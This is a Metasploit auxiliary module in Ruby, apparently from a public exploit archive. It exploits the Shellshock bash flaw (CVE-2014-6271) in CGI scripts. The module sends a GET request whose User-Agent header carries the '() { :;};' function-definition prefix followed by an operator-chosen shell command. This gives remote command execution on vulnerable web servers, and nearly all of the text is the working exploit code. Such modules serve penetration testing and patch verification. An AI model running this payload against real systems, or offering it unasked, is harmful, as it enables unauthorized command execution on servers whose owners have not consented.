bashedCgi Remote Command Execution

` require 'msf/core'  
  
class Metasploit3 < Msf::Auxiliary  
  
include Msf::Exploit::Remote::HttpClient  
  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'bashedCgi',  
'Description' => %q{  
Quick & dirty module to send the BASH exploit payload (CVE-2014-6271) to CGI scripts that are BASH-based or invoke BASH, to execute an arbitrary shell command.   
},  
'Author' => [ 'Stephane Chazelas' ], # vuln discovery   
'Author' => [ 'Shaun Colley <scolley at ioactive.com>' ], # metasploit module   
'License' => MSF_LICENSE,  
'References' => [ 'CVE', '2014-6271' ],  
'Targets' =>   
[  
[ 'cgi', {} ]  
],  
'DefaultTarget' => 0,  
'Payload' =>  
{  
'Space' => 1024,  
'DisableNops' => true  
},  
'DefaultOptions' => { 'PAYLOAD' => 0 }   
))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'Absolute path of BASH-based CGI', '/']),  
OptString.new('CMD', [true, 'Command to execute', '/usr/bin/touch /tmp/metasploit'])  
], self.class)  
end  
  
def run   
res = send_request_cgi({  
'method' => 'GET',  
'uri' => datastore['TARGETURI'],  
'agent' => "() { :;}; " + datastore['CMD']  
})  
  
if res && res.code == 200  
print_good("Command sent - 200 received")  
else  
print_error("Command sent - non-200 reponse")  
end  
end  
end  
`